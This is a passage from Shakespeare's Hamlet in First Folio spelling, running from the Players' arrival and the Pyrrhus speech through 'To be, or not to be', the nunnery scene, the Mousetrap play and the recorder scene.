Daughter + + Ham. Am I not i'th' right old Iephta? + Polon. If you call me Iephta my Lord, I haue a daughter +that I loue passing well + + Ham. Nay that followes not + + Polon. What followes then, my Lord? + Ha. Why, As by lot, God wot: and then you know, It +came to passe, as most like it was: The first rowe of the +Pons Chanson will shew you more. For looke where my +Abridgements come. +Enter foure or fiue Players. + +Y'are welcome Masters, welcome all. I am glad to see +thee well: Welcome good Friends. Oh my olde Friend? +Thy face is valiant since I saw thee last: Com'st thou to +beard me in Denmarke? What, my yong Lady and Mistris? +Byrlady your Ladiship is neerer Heauen then when +I saw you last, by the altitude of a Choppine. Pray God +your voice like a peece of vncurrant Gold be not crack'd +within the ring. Masters, you are all welcome: wee'l e'ne +to't like French Faulconers, flie at any thing we see: wee'l +haue a Speech straight. Come giue vs a tast of your quality: +come, a passionate speech + + 1.Play. What speech, my Lord? + Ham. I heard thee speak me a speech once, but it was +neuer Acted: or if it was, not aboue once, for the Play I +remember pleas'd not the Million, 'twas Cauiarie to the +Generall: but it was (as I receiu'd it, and others, whose +iudgement in such matters, cried in the top of mine) an +excellent Play; well digested in the Scoenes, set downe +with as much modestie, as cunning. I remember one said, +there was no Sallets in the lines, to make the matter sauory; +nor no matter in the phrase, that might indite the +Author of affectation, but cal'd it an honest method. One +cheefe Speech in it, I cheefely lou'd, 'twas Aeneas Tale +to Dido, and thereabout of it especially, where he speaks +of Priams slaughter. If it liue in your memory, begin at +this Line, let me see, let me see: The rugged Pyrrhus like +th'Hyrcanian Beast. It is not so: it begins with Pyrrhus +The rugged Pyrrhus, he whose Sable Armes +Blacke as his purpose, did the night resemble +When he lay couched in the Ominous Horse, +Hath now this dread and blacke Complexion smear'd +With Heraldry more dismall: Head to foote +Now is he to take Geulles, horridly Trick'd +With blood of Fathers, Mothers, Daughters, Sonnes, +Bak'd and impasted with the parching streets, +That lend a tyrannous, and damned light +To their vilde Murthers, roasted in wrath and fire, +And thus o're-sized with coagulate gore, +With eyes like Carbuncles, the hellish Pyrrhus +Olde Grandsire Priam seekes + + Pol. Fore God, my Lord, well spoken, with good accent, +and good discretion + + 1.Player. Anon he findes him, +Striking too short at Greekes. His anticke Sword, +Rebellious to his Arme, lyes where it falles +Repugnant to command: vnequall match, +Pyrrhus at Priam driues, in Rage strikes wide: +But with the whiffe and winde of his fell Sword, +Th' vnnerued Father fals. Then senselesse Illium, +Seeming to feele his blow, with flaming top +Stoopes to his Bace, and with a hideous crash +Takes Prisoner Pyrrhus eare. For loe, his Sword +Which was declining on the Milkie head +Of Reuerend Priam, seem'd i'th' Ayre to sticke: +So as a painted Tyrant Pyrrhus stood, +And like a Newtrall to his will and matter, did nothing. +But as we often see against some storme, +A silence in the Heauens, the Racke stand still, +The bold windes speechlesse, and the Orbe below +As hush as death: Anon the dreadfull Thunder +Doth rend the Region. So after Pyrrhus pause, +A rowsed Vengeance sets him new a-worke, +And neuer did the Cyclops hammers fall +On Mars his Armours, forg'd for proofe Eterne, +With lesse remorse then Pyrrhus bleeding sword +Now falles on Priam. +Out, out, thou Strumpet-Fortune, all you Gods, +In generall Synod take away her power: +Breake all the Spokes and Fallies from her wheele, +And boule the round Naue downe the hill of Heauen, +As low as to the Fiends + + Pol. This is too long + + Ham. It shall to'th Barbars, with your beard. Prythee +say on: He's for a Iigge, or a tale of Baudry, or hee +sleepes. Say on; come to Hecuba + + 1.Play. But who, O who, had seen the inobled Queen + + Ham. The inobled Queene? + Pol. That's good: Inobled Queene is good + + 1.Play. Run bare-foot vp and downe, +Threatning the flame +With Bisson Rheume: A clout about that head, +Where late the Diadem stood, and for a Robe +About her lanke and all ore-teamed Loines, +A blanket in th' Alarum of feare caught vp. +Who this had seene, with tongue in Venome steep'd, +'Gainst Fortunes State, would Treason haue pronounc'd? +But if the Gods themselues did see her then, +When she saw Pyrrhus make malicious sport +In mincing with his Sword her Husbands limbes, +The instant Burst of Clamour that she made +(Vnlesse things mortall moue them not at all) +Would haue made milche the Burning eyes of Heauen, +And passion in the Gods + + Pol. Looke where he ha's not turn'd his colour, and +ha's teares in's eyes. Pray you no more + + Ham. 'Tis well, Ile haue thee speake out the rest, +soone. Good my Lord, will you see the Players wel bestow'd. +Do ye heare, let them be well vs'd: for they are +the Abstracts and breefe Chronicles of the time. After +your death, you were better haue a bad Epitaph, then +their ill report while you liued + + Pol. My Lord, I will vse them according to their desart + + Ham. Gods bodykins man, better. Vse euerie man +after his desart, and who should scape whipping: vse +them after your own Honor and Dignity. The lesse they +deserue, the more merit is in your bountie. Take them +in + + Pol. Come sirs. + +Exit Polon. + + Ham. Follow him Friends: wee'l heare a play to morrow. +Dost thou heare me old Friend, can you play the +murther of Gonzago? + Play. I my Lord + + Ham. Wee'l ha't to morrow night. You could for a +need study a speech of some dosen or sixteene lines, which +I would set downe, and insert in't? Could ye not? + Play. I my Lord + + Ham. Very well. Follow that Lord, and looke you +mock him not. My good Friends, Ile leaue you til night +you are welcome to Elsonower? + Rosin. Good my Lord. + +Exeunt. + +Manet Hamlet. + + Ham. I so, God buy'ye: Now I am alone. +Oh what a Rogue and Pesant slaue am I? +Is it not monstrous that this Player heere, +But in a Fixion, in a dreame of Passion, +Could force his soule so to his whole conceit, +That from her working, all his visage warm'd; +Teares in his eyes, distraction in's Aspect, +A broken voyce, and his whole Function suiting +With Formes, to his Conceit? And all for nothing? +For Hecuba? +What's Hecuba to him, or he to Hecuba, +That he should weepe for her? What would he doe, +Had he the Motiue and the Cue for passion +That I haue? He would drowne the Stage with teares, +And cleaue the generall eare with horrid speech: +Make mad the guilty, and apale the free, +Confound the ignorant, and amaze indeed, +The very faculty of Eyes and Eares. Yet I, +A dull and muddy-metled Rascall, peake +Like Iohn a-dreames, vnpregnant of my cause, +And can say nothing: No, not for a King, +Vpon whose property, and most deere life, +A damn'd defeate was made. Am I a Coward? +Who calles me Villaine? breakes my pate a-crosse? +Pluckes off my Beard, and blowes it in my face? +Tweakes me by'th' Nose? giues me the Lye i'th' Throate, +As deepe as to the Lungs? Who does me this? +Ha? Why I should take it: for it cannot be, +But I am Pigeon-Liuer'd, and lacke Gall +To make Oppression bitter, or ere this, +I should haue fatted all the Region Kites +With this Slaues Offall, bloudy: a Bawdy villaine, +Remorselesse, Treacherous, Letcherous, kindles villaine! +Oh Vengeance! +Who? What an Asse am I? I sure, this is most braue, +That I, the Sonne of the Deere murthered, +Prompted to my Reuenge by Heauen, and Hell, +Must (like a Whore) vnpacke my heart with words, +And fall a Cursing like a very Drab. +A Scullion? Fye vpon't: Foh. About my Braine. +I haue heard, that guilty Creatures sitting at a Play, +Haue by the very cunning of the Scoene, +Bene strooke so to the soule, that presently +They haue proclaim'd their Malefactions. +For Murther, though it haue no tongue, will speake +With most myraculous Organ. Ile haue these Players, +Play something like the murder of my Father, +Before mine Vnkle. Ile obserue his lookes, +Ile rent him to the quicke: If he but blench +I know my course. The Spirit that I haue seene +May be the Diuell, and the Diuel hath power +T' assume a pleasing shape, yea and perhaps +Out of my Weaknesse, and my Melancholly, +As he is very potent with such Spirits, +Abuses me to damne me. Ile haue grounds +More Relatiue then this: The Play's the thing, +Wherein Ile catch the Conscience of the King. + +Exit + +Enter King, Queene, Polonius, Ophelia, Rosincrance, +Guildenstern, and +Lords. + + King. And can you by no drift of circumstance +Get from him why he puts on this Confusion: +Grating so harshly all his dayes of quiet +With turbulent and dangerous Lunacy + + Rosin. He does confesse he feeles himselfe distracted, +But from what cause he will by no meanes speake + + Guil. Nor do we finde him forward to be sounded, +But with a crafty Madnesse keepes aloofe: +When we would bring him on to some Confession +Of his true state + + Qu. Did he receiue you well? + Rosin. Most like a Gentleman + + Guild. But with much forcing of his disposition + + Rosin. Niggard of question, but of our demands +Most free in his reply + + Qu. Did you assay him to any pastime? + Rosin. Madam, it so fell out, that certaine Players +We ore-wrought on the way: of these we told him, +And there did seeme in him a kinde of ioy +To heare of it: They are about the Court, +And (as I thinke) they haue already order +This night to play before him + + Pol. 'Tis most true: +And he beseech'd me to intreate your Maiesties +To heare, and see the matter + + King. With all my heart, and it doth much content me +To heare him so inclin'd. Good Gentlemen, +Giue him a further edge, and driue his purpose on +To these delights + + Rosin. We shall my Lord. + +Exeunt. + + King. Sweet Gertrude leaue vs too, +For we haue closely sent for Hamlet hither, +That he, as 'twere by accident, may there +Affront Ophelia. Her Father, and my selfe (lawful espials) +Will so bestow our selues, that seeing vnseene +We may of their encounter frankely iudge, +And gather by him, as he is behaued, +If't be th' affliction of his loue, or no. +That thus he suffers for + + Qu. I shall obey you, +And for your part Ophelia, I do wish +That your good Beauties be the happy cause +Of Hamlets wildenesse: so shall I hope your Vertues +Will bring him to his wonted way againe, +To both your Honors + + Ophe. Madam, I wish it may + + Pol. Ophelia, walke you heere. Gracious so please ye +We will bestow our selues: Reade on this booke, +That shew of such an exercise may colour +Your lonelinesse. We are oft too blame in this, +'Tis too much prou'd, that with Deuotions visage, +And pious Action, we do surge o're +The diuell himselfe + + King. Oh 'tis true: +How smart a lash that speech doth giue my Conscience? +The Harlots Cheeke beautied with plaist'ring Art +Is not more vgly to the thing that helpes it, +Then is my deede, to my most painted word. +Oh heauie burthen! + Pol. I heare him comming, let's withdraw my Lord. + +Exeunt. + +Enter Hamlet. + + Ham. To be, or not to be, that is the Question: +Whether 'tis Nobler in the minde to suffer +The Slings and Arrowes of outragious Fortune, +Or to take Armes against a Sea of troubles, +And by opposing end them: to dye, to sleepe +No more; and by a sleepe, to say we end +The Heart-ake, and the thousand Naturall shockes +That Flesh is heyre too? 'Tis a consummation +Deuoutly to be wish'd. To dye to sleepe, +To sleepe, perchance to Dreame; I, there's the rub, +For in that sleepe of death, what dreames may come, +When we haue shuffel'd off this mortall coile, +Must giue vs pawse. There's the respect +That makes Calamity of so long life: +For who would beare the Whips and Scornes of time, +The Oppressors wrong, the poore mans Contumely, +The pangs of dispriz'd Loue, the Lawes delay, +The insolence of Office, and the Spurnes +That patient merit of the vnworthy takes, +When he himselfe might his Quietus make +With a bare Bodkin? Who would these Fardles beare +To grunt and sweat vnder a weary life, +But that the dread of something after death, +The vndiscouered Countrey, from whose Borne +No Traueller returnes, Puzels the will, +And makes vs rather beare those illes we haue, +Then flye to others that we know not of. +Thus Conscience does make Cowards of vs all, +And thus the Natiue hew of Resolution +Is sicklied o're, with the pale cast of Thought, +And enterprizes of great pith and moment, +With this regard their Currants turne away, +And loose the name of Action. Soft you now, +The faire Ophelia? Nimph, in thy Orizons +Be all my sinnes remembred + + Ophe. Good my Lord, +How does your Honor for this many a day? + Ham. I humbly thanke you: well, well, well + + Ophe. My Lord, I haue Remembrances of yours, +That I haue longed long to re-deliuer. +I pray you now, receiue them + + Ham. No, no, I neuer gaue you ought + + Ophe. My honor'd Lord, I know right well you did, +And with them words of so sweet breath compos'd, +As made the things more rich, then perfume left: +Take these againe, for to the Noble minde +Rich gifts wax poore, when giuers proue vnkinde. +There my Lord + + Ham. Ha, ha: Are you honest? + Ophe. My Lord + + Ham. Are you faire? + Ophe. What meanes your Lordship? + Ham. That if you be honest and faire, your Honesty +should admit no discourse to your Beautie + + Ophe. Could Beautie my Lord, haue better Comerce +then your Honestie? + Ham. I trulie: for the power of Beautie, will sooner +transforme Honestie from what is, to a Bawd, then the +force of Honestie can translate Beautie into his likenesse. +This was sometime a Paradox, but now the time giues it +proofe. I did loue you once + + Ophe. Indeed my Lord, you made me beleeue so + + Ham. You should not haue beleeued me. For vertue +cannot so innocculate our old stocke, but we shall rellish +of it. I loued you not + + Ophe. I was the more deceiued + + Ham. Get thee to a Nunnerie. Why would'st thou +be a breeder of Sinners? I am my selfe indifferent honest, +but yet I could accuse me of such things, that it were better +my Mother had not borne me. I am very prowd, reuengefull, +Ambitious, with more offences at my becke, +then I haue thoughts to put them in imagination, to giue +them shape, or time to acte them in. What should such +Fellowes as I do, crawling betweene Heauen and Earth. +We are arrant Knaues all, beleeue none of vs. Goe thy +wayes to a Nunnery. Where's your Father? + Ophe. At home, my Lord + + Ham. Let the doores be shut vpon him, that he may +play the Foole no way, but in's owne house. Farewell + + Ophe. O helpe him, you sweet Heauens + + Ham. If thou doest Marry, Ile giue thee this Plague +for thy Dowrie. Be thou as chast as Ice, as pure as Snow, +thou shalt not escape Calumny. Get thee to a Nunnery. +Go, Farewell. Or if thou wilt needs Marry, marry a fool: +for Wise men know well enough, what monsters you +make of them. To a Nunnery go, and quickly too. Farwell + + Ophe. O heauenly Powers, restore him + + Ham. I haue heard of your pratlings too wel enough. +God has giuen you one pace, and you make your selfe another: +you gidge, you amble, and you lispe, and nickname +Gods creatures, and make your Wantonnesse, your Ignorance. +Go too, Ile no more on't, it hath made me mad. +I say, we will haue no more Marriages. Those that are +married already, all but one shall liue, the rest shall keep +as they are. To a Nunnery, go. + +Exit Hamlet. + + Ophe. O what a Noble minde is heere o're-throwne? +The Courtiers, Soldiers, Schollers: Eye, tongue, sword, +Th' expectansie and Rose of the faire State, +The glasse of Fashion, and the mould of Forme, +Th' obseru'd of all Obseruers, quite, quite downe. +Haue I of Ladies most deiect and wretched, +That suck'd the Honie of his Musicke Vowes: +Now see that Noble, and most Soueraigne Reason, +Like sweet Bels iangled out of tune, and harsh, +That vnmatch'd Forme and Feature of blowne youth, +Blasted with extasie. Oh woe is me, +T'haue seene what I haue seene: see what I see. +Enter King, and Polonius. + + King. Loue? His affections do not that way tend, +Nor what he spake, though it lack'd Forme a little, +Was not like Madnesse. There's something in his soule? +O're which his Melancholly sits on brood, +And I do doubt the hatch, and the disclose +Will be some danger, which to preuent +I haue in quicke determination +Thus set it downe. He shall with speed to England +For the demand of our neglected Tribute: +Haply the Seas and Countries different +With variable Obiects, shall expell +This something setled matter in his heart: +Whereon his Braines still beating, puts him thus +From fashion of himselfe. What thinke you on't? + Pol. It shall do well. But yet do I beleeue +The Origin and Commencement of this greefe +Sprung from neglected loue. How now Ophelia? +You neede not tell vs, what Lord Hamlet saide, +We heard it all. My Lord, do as you please, +But if you hold it fit after the Play, +Let his Queene Mother all alone intreat him +To shew his Greefes: let her be round with him, +And Ile be plac'd so, please you in the eare +Of all their Conference. If she finde him not, +To England send him: Or confine him where +Your wisedome best shall thinke + + King. It shall be so: +Madnesse in great Ones, must not vnwatch'd go. + +Exeunt. + +Enter Hamlet, and two or three of the Players. + + Ham. Speake the Speech I pray you, as I pronounc'd +it to you trippingly on the Tongue: But if you mouth it, +as many of your Players do, I had as liue the Town-Cryer +had spoke my Lines: Nor do not saw the Ayre too much +your hand thus, but vse all gently; for in the verie Torrent, +Tempest, and (as I say) the Whirle-winde of +Passion, you must acquire and beget a Temperance that +may giue it Smoothnesse. O it offends mee to the Soule, +to see a robustious Pery-wig-pated Fellow, teare a Passion +to tatters, to verie ragges, to split the eares of the +Groundlings: who (for the most part) are capeable of +nothing, but inexplicable dumbe shewes, & noise: I could +haue such a Fellow whipt for o're-doing Termagant: it +outHerod's Herod. Pray you auoid it + + Player. I warrant your Honor + + Ham. Be not too tame neyther: but let your owne +Discretion be your Tutor. Sute the Action to the Word, +the Word to the Action, with this speciall obseruance: +That you ore-stop not the modestie of Nature; for any +thing so ouer-done, is fro[m] the purpose of Playing, whose +end both at the first and now, was and is, to hold as 'twer +the Mirrour vp to Nature; to shew Vertue her owne +Feature, Scorne her owne Image, and the verie Age and +Bodie of the Time, his forme and pressure. Now, this +ouer-done, or come tardie off, though it make the vnskilfull +laugh, cannot but make the Iudicious greeue; The +censure of the which One, must in your allowance o'reway +a whole Theater of Others. Oh, there bee Players +that I haue seene Play, and heard others praise, and that +highly (not to speake it prophanely) that neyther hauing +the accent of Christians, nor the gate of Christian, Pagan, +or Norman, haue so strutted and bellowed, that I haue +thought some of Natures Iouerney-men had made men, +and not made them well, they imitated Humanity so abhominably + + Play. I hope we haue reform'd that indifferently with +vs, Sir + + Ham. O reforme it altogether. And let those that +play your Clownes, speake no more then is set downe for +them. For there be of them, that will themselues laugh, +to set on some quantitie of barren Spectators to laugh +too, though in the meane time, some necessary Question +of the Play be then to be considered: that's Villanous, & +shewes a most pittifull Ambition in the Foole that vses +it. Go make you readie. + +Exit Players. + +Enter Polonius, Rosincrance, and Guildensterne. + +How now my Lord, +Will the King heare this peece of Worke? + Pol. And the Queene too, and that presently + + Ham. Bid the Players make hast. + +Exit Polonius. + +Will you two helpe to hasten them? + Both. We will my Lord. + +Exeunt. + +Enter Horatio. + + Ham. What hoa, Horatio? + Hora. Heere sweet Lord, at your Seruice + + Ham. Horatio, thou art eene as iust a man +As ere my Conuersation coap'd withall + + Hora. O my deere Lord + + Ham. Nay, do not thinke I flatter: +For what aduancement may I hope from thee, +That no Reuennew hast, but thy good spirits +To feed & cloath thee. Why shold the poor be flatter'd? +No, let the Candied tongue, like absurd pompe, +And crooke the pregnant Hindges of the knee, +Where thrift may follow faining? Dost thou heare, +Since my deere Soule was Mistris of my choyse, +And could of men distinguish, her election +Hath seal'd thee for her selfe. For thou hast bene +As one in suffering all, that suffers nothing. +A man that Fortunes buffets, and Rewards +Hath 'tane with equall Thankes. And blest are those, +Whose Blood and Iudgement are so well co-mingled, +That they are not a Pipe for Fortunes finger. +To sound what stop she please. Giue me that man, +That is not Passions Slaue, and I will weare him +In my hearts Core. I, in my Heart of heart, +As I do thee. Something too much of this. +There is a Play to night to before the King. +One Scoene of it comes neere the Circumstance +Which I haue told thee, of my Fathers death. +I prythee, when thou see'st that Acte a-foot, +Euen with the verie Comment of my Soule +Obserue mine Vnkle: If his occulted guilt, +Do not it selfe vnkennell in one speech, +It is a damned Ghost that we haue seene: +And my Imaginations are as foule +As Vulcans Stythe. Giue him needfull note, +For I mine eyes will riuet to his Face: +And after we will both our iudgements ioyne, +To censure of his seeming + + Hora. Well my Lord. +If he steale ought the whil'st this Play is Playing, +And scape detecting, I will pay the Theft. +Enter King, Queene, Polonius, Ophelia, Rosincrance, +Guildensterne, and +other Lords attendant with his Guard carrying Torches. Danish +March. Sound +a Flourish. + + Ham. They are comming to the Play: I must be idle. +Get you a place + + King. How fares our Cosin Hamlet? + Ham. Excellent Ifaith, of the Camelions dish: I eate +the Ayre promise-cramm'd, you cannot feed Capons so + + King. I haue nothing with this answer Hamlet, these +words are not mine + + Ham. No, nor mine. Now my Lord, you plaid once +i'th' Vniuersity, you say? + Polon. That I did my Lord, and was accounted a good +Actor + + Ham. And what did you enact? + Pol. I did enact Iulius Caesar, I was kill'd i'th' Capitol: +Brutus kill'd me + + Ham. It was a bruite part of him, to kill so Capitall a +Calfe there. Be the Players ready? + Rosin. I my Lord, they stay vpon your patience + + Qu. Come hither my good Hamlet, sit by me + + Ha. No good Mother, here's Mettle more attractiue + + Pol. Oh ho, do you marke that? + Ham. Ladie, shall I lye in your Lap? + Ophe. No my Lord + + Ham. I meane, my Head vpon your Lap? + Ophe. I my Lord + + Ham. Do you thinke I meant Country matters? + Ophe. I thinke nothing, my Lord + + Ham. That's a faire thought to ly betweene Maids legs + Ophe. What is my Lord? + Ham. Nothing + + Ophe. You are merrie, my Lord? + Ham. Who I? + Ophe. I my Lord + + Ham. Oh God, your onely Iigge-maker: what should +a man do, but be merrie. For looke you how cheerefully +my Mother lookes, and my Father dyed within's two +Houres + + Ophe. Nay, 'tis twice two moneths, my Lord + + Ham. So long? Nay then let the Diuel weare blacke, +for Ile haue a suite of Sables. Oh Heauens! dye two moneths +ago, and not forgotten yet? Then there's hope, a +great mans Memorie, may out-liue his life halfe a yeare: +But byrlady he must builde Churches then: or else shall +he suffer not thinking on, with the Hoby-horsse, whose +Epitaph is, For o, For o, the Hoby-horse is forgot. + +Hoboyes play. The dumbe shew enters. + +Enter a King and Queene, very louingly; the Queene embracing +him. She +kneeles, and makes shew of Protestation vnto him. He takes her +vp, and +declines his head vpon her neck. Layes him downe vpon a Banke +of Flowers. +She seeing him a-sleepe, leaues him. Anon comes in a Fellow, +takes off his +Crowne, kisses it, and powres poyson in the Kings eares, and +Exits. The +Queene returnes, findes the King dead, and makes passionate +Action. The +Poysoner, with some two or three Mutes comes in againe, seeming +to lament +with her. The dead body is carried away: The Poysoner Wooes the +Queene with +Gifts, she seemes loath and vnwilling awhile, but in the end, +accepts his +loue. + +Exeunt. + + Ophe. What meanes this, my Lord? + Ham. Marry this is Miching Malicho, that meanes +Mischeefe + + Ophe. Belike this shew imports the Argument of the +Play? + Ham. We shall know by these Fellowes: the Players +cannot keepe counsell, they'l tell all + + Ophe. Will they tell vs what this shew meant? + Ham. I, or any shew that you'l shew him. Bee not +you asham'd to shew, hee'l not shame to tell you what it +meanes + + Ophe. You are naught, you are naught, Ile marke the +Play. +Enter Prologue. + +For vs, and for our Tragedie, +Heere stooping to your Clemencie: +We begge your hearing Patientlie + + Ham. Is this a Prologue, or the Poesie of a Ring? + Ophe. 'Tis briefe my Lord + + Ham. As Womans loue. +Enter King and his Queene. + + King. Full thirtie times hath Phoebus Cart gon round, +Neptunes salt Wash, and Tellus Orbed ground: +And thirtie dozen Moones with borrowed sheene, +About the World haue times twelue thirties beene, +Since loue our hearts, and Hymen did our hands +Vnite comutuall, in most sacred Bands + + Bap. So many iournies may the Sunne and Moone +Make vs againe count o're, ere loue be done. +But woe is me, you are so sicke of late, +So farre from cheere, and from your former state, +That I distrust you: yet though I distrust, +Discomfort you (my Lord) it nothing must: +For womens Feare and Loue, holds quantitie, +In neither ought, or in extremity: +Now what my loue is, proofe hath made you know, +And as my Loue is siz'd, my Feare is so + + King. Faith I must leaue thee Loue, and shortly too: +My operant Powers my Functions leaue to do: +And thou shalt liue in this faire world behinde, +Honour'd, belou'd, and haply, one as kinde. +For Husband shalt thou- + Bap. Oh confound the rest: +Such Loue, must needs be Treason in my brest: +In second Husband, let me be accurst, +None wed the second, but who kill'd the first + + Ham. Wormwood, Wormwood + + Bapt. The instances that second Marriage moue, +Are base respects of Thrift, but none of Loue. +A second time, I kill my Husband dead, +When second Husband kisses me in Bed + + King. I do beleeue you. Think what now you speak: +But what we do determine, oft we breake: +Purpose is but the slaue to Memorie, +Of violent Birth, but poore validitie: +Which now like Fruite vnripe stickes on the Tree, +But fall vnshaken, when they mellow bee. +Most necessary 'tis, that we forget +To pay our selues, what to our selues is debt: +What to our selues in passion we propose, +The passion ending, doth the purpose lose. +The violence of other Greefe or Ioy, +Their owne ennactors with themselues destroy: +Where Ioy most Reuels, Greefe doth most lament; +Greefe ioyes, Ioy greeues on slender accident. +This world is not for aye, nor 'tis not strange +That euen our Loues should with our Fortunes change. +For 'tis a question left vs yet to proue, +Whether Loue lead Fortune, or else Fortune Loue. +The great man downe, you marke his fauourites flies, +The poore aduanc'd, makes Friends of Enemies: +And hitherto doth Loue on Fortune tend, +For who not needs, shall neuer lacke a Frend: +And who in want a hollow Friend doth try, +Directly seasons him his Enemie. +But orderly to end, where I begun, +Our Willes and Fates do so contrary run, +That our Deuices still are ouerthrowne, +Our thoughts are ours, their ends none of our owne. +So thinke thou wilt no second Husband wed. +But die thy thoughts, when thy first Lord is dead + + Bap. Nor Earth to giue me food, nor Heauen light, +Sport and repose locke from me day and night: +Each opposite that blankes the face of ioy, +Meet what I would haue well, and it destroy: +Both heere, and hence, pursue me lasting strife, +If once a Widdow, euer I be Wife + + Ham. If she should breake it now + + King. 'Tis deepely sworne: +Sweet, leaue me heere a while, +My spirits grow dull, and faine I would beguile +The tedious day with sleepe + + Qu. Sleepe rocke thy Braine, + +Sleepes + +And neuer come mischance betweene vs twaine. + +Exit + + Ham. Madam, how like you this Play? + Qu. The Lady protests to much me thinkes + + Ham. Oh but shee'l keepe her word + + King. Haue you heard the Argument, is there no Offence +in't? + Ham. No, no, they do but iest, poyson in iest, no Offence +i'th' world + + King. What do you call the Play? + Ham. The Mouse-trap: Marry how? Tropically: +This Play is the Image of a murder done in Vienna: Gonzago +is the Dukes name, his wife Baptista: you shall see +anon: 'tis a knauish peece of worke: But what o'that? +Your Maiestie, and wee that haue free soules, it touches +vs not: let the gall'd iade winch: our withers are vnrung. +Enter Lucianus. + +This is one Lucianus nephew to the King + + Ophe. You are a good Chorus, my Lord + + Ham. I could interpret betweene you and your loue: +if I could see the Puppets dallying + + Ophe. You are keene my Lord, you are keene + + Ham. It would cost you a groaning, to take off my +edge + + Ophe. Still better and worse + + Ham. So you mistake Husbands. +Begin Murderer. Pox, leaue thy damnable Faces, and +begin. Come, the croaking Rauen doth bellow for Reuenge + + Lucian. Thoughts blacke, hands apt, +Drugges fit, and Time agreeing: +Confederate season, else, no Creature seeing: +Thou mixture ranke, of Midnight Weeds collected, +With Hecats Ban, thrice blasted, thrice infected, +Thy naturall Magicke, and dire propertie, +On wholsome life, vsurpe immediately. + +Powres the poyson in his eares. + + Ham. He poysons him i'th' Garden for's estate: His +name's Gonzago: the Story is extant and writ in choyce +Italian. You shall see anon how the Murtherer gets the +loue of Gonzago's wife + + Ophe. The King rises + + Ham. What, frighted with false fire + + Qu. How fares my Lord? + Pol. Giue o're the Play + + King. Giue me some Light. Away + + All. Lights, Lights, Lights. + +Exeunt. + +Manet Hamlet & Horatio. + + Ham. Why let the strucken Deere go weepe, +The Hart vngalled play: +For some must watch, while some must sleepe; +So runnes the world away. +Would not this Sir, and a Forrest of Feathers, if the rest of +my Fortunes turne Turke with me; with two Prouinciall +Roses on my rac'd Shooes, get me a Fellowship in a crie +of Players sir + + Hor. Halfe a share + + Ham. A whole one I, +For thou dost know: Oh Damon deere, +This Realme dismantled was of Ioue himselfe, +And now reignes heere. +A verie verie Paiocke + + Hora. You might haue Rim'd + + Ham. Oh good Horatio, Ile take the Ghosts word for +a thousand pound. Did'st perceiue? + Hora. Verie well my Lord + + Ham. Vpon the talke of the poysoning? + Hora. I did verie well note him. +Enter Rosincrance and Guildensterne. + + Ham. Oh, ha? Come some Musick. Come y Recorders: +For if the King like not the Comedie, +Why then belike he likes it not perdie. +Come some Musicke + + Guild. Good my Lord, vouchsafe me a word with you + + Ham. Sir, a whole History + + Guild. The King, sir + + Ham. I sir, what of him? + Guild. Is in his retyrement, maruellous distemper'd + + Ham. With drinke Sir? + Guild. No my Lord, rather with choller + + Ham. Your wisedome should shew it selfe more richer, +to signifie this to his Doctor: for for me to put him +to his Purgation, would perhaps plundge him into farre +more Choller + + Guild. Good my Lord put your discourse into some +frame, and start not so wildely from my affayre + + Ham. I am tame Sir, pronounce + + Guild. The Queene your Mother, in most great affliction +of spirit, hath sent me to you + + Ham. You are welcome + + Guild. Nay, good my Lord, this courtesie is not of +the right breed. If it shall please you to make me a wholsome +answer, I will doe your Mothers command'ment: +if not, your pardon, and my returne shall bee the end of +my Businesse + + Ham. Sir, I cannot + + Guild. What, my Lord? + Ham. Make you a wholsome answere: my wits diseas'd. +But sir, such answers as I can make, you shal command: +or rather you say, my Mother: therfore no more +but to the matter. My Mother you say + + Rosin. Then thus she sayes: your behauior hath stroke +her into amazement, and admiration + + Ham. Oh wonderfull Sonne, that can so astonish a +Mother. But is there no sequell at the heeles of this Mothers +admiration? + Rosin. She desires to speake with you in her Closset, +ere you go to bed + + Ham. We shall obey, were she ten times our Mother. +Haue you any further Trade with vs? + Rosin. My Lord, you once did loue me + + Ham. So I do still, by these pickers and stealers + + Rosin. Good my Lord, what is your cause of distemper? +You do freely barre the doore of your owne Libertie, +if you deny your greefes to your Friend + + Ham. Sir I lacke Aduancement + + Rosin. How can that be, when you haue the voyce of +the King himselfe, for your Succession in Denmarke? + Ham. I, but while the grasse growes, the Prouerbe is +something musty. +Enter one with a Recorder. + +O the Recorder. Let me see, to withdraw with you, why +do you go about to recouer the winde of mee, as if you +would driue me into a toyle? + Guild. O my Lord, if my Dutie be too bold, my loue +is too vnmannerly + + Ham. I do not well vnderstand that. Will you play +vpon this Pipe? + Guild. My Lord, I cannot + + Ham. I pray you + + Guild. Beleeue me, I cannot + + Ham. I do beseech you + + Guild. I know no touch of it, my Lord + + Ham. 'Tis as easie as lying: gouerne these Ventiges +with your finger and thumbe, giue it breath with your +mouth, and it will discourse most excellent Musicke. +Looke you, these are the stoppes + + Guild. But these cannot I command to any vtterance +of hermony, I haue not the skill + + Ham. Why looke you now, how vnworthy a thing +you make of me: you would play vpon mee; you would +seeme to know my stops: you would pluck out the heart +of my Mysterie; you would sound mee from my lowest +Note, to the top of my Compasse: and there is much Musicke, +excellent Voice, in this little Organe, yet cannot +you make it. Why do you thinke, that I am easier to bee +plaid on, then a Pipe? Call me what Instrument you will, +though you can fret me, you cannot play vpon me. God +blesse you Sir. +Enter Polonius. + + Polon. My Lord; the Queene would speak with you, +and presently + + Ham. Do you see that Clowd? that's almost in shape +like a Camell + + Polon. By'th' Masse, and it's like a Camell indeed + + Ham. Me thinkes it is like a Weazell + + Polon. It is back'd like a Weazell + + Ham. Or like a Whale? + Polon. Verie like a Whale + + Ham. Then will I come to my Mother, by and by: +They foole me to the top of my bent. +I will come by and by + + Polon. I will say so. +Enter. + + Ham. By and by, is easily said. Leaue me Friends: +'Tis now the verie witching time of night, +When Churchyards yawne, and Hell it selfe breaths out +Contagion to this world. Now could I drink hot blood, +And do such bitter businesse as the day +Would quake to looke on. Soft now, to my Mother: +Oh Heart, loose not thy Nature; let not euer +The Soule of Nero, enter this firme bosome: +Let me be cruell, not vnnaturall, +I will speake Daggers to her, but vse none: +My Tongue and Soule in this be Hypocrites. +How in my words someuer she be shent, +To giue them Seales, neuer my Soule consent. +Enter King, Rosincrance, and Guildensterne. + + King. I like him not, nor stands it safe with vs, +To let his madnesse range. Therefore prepare you, +I your Commission will forthwith dispatch, +And he to England shall along with you: +The termes of our estate, may not endure +Hazard so dangerous as doth hourely grow +Out of his Lunacies + + Guild. We will our selues prouide: +Most holie and Religious feare it is +To keepe those many many bodies safe +That liue and feede vpon your Maiestie + + Rosin. The single +And peculiar life is bound +With all the strength and Armour of the minde, +To keepe it selfe from noyance: but much more, +That 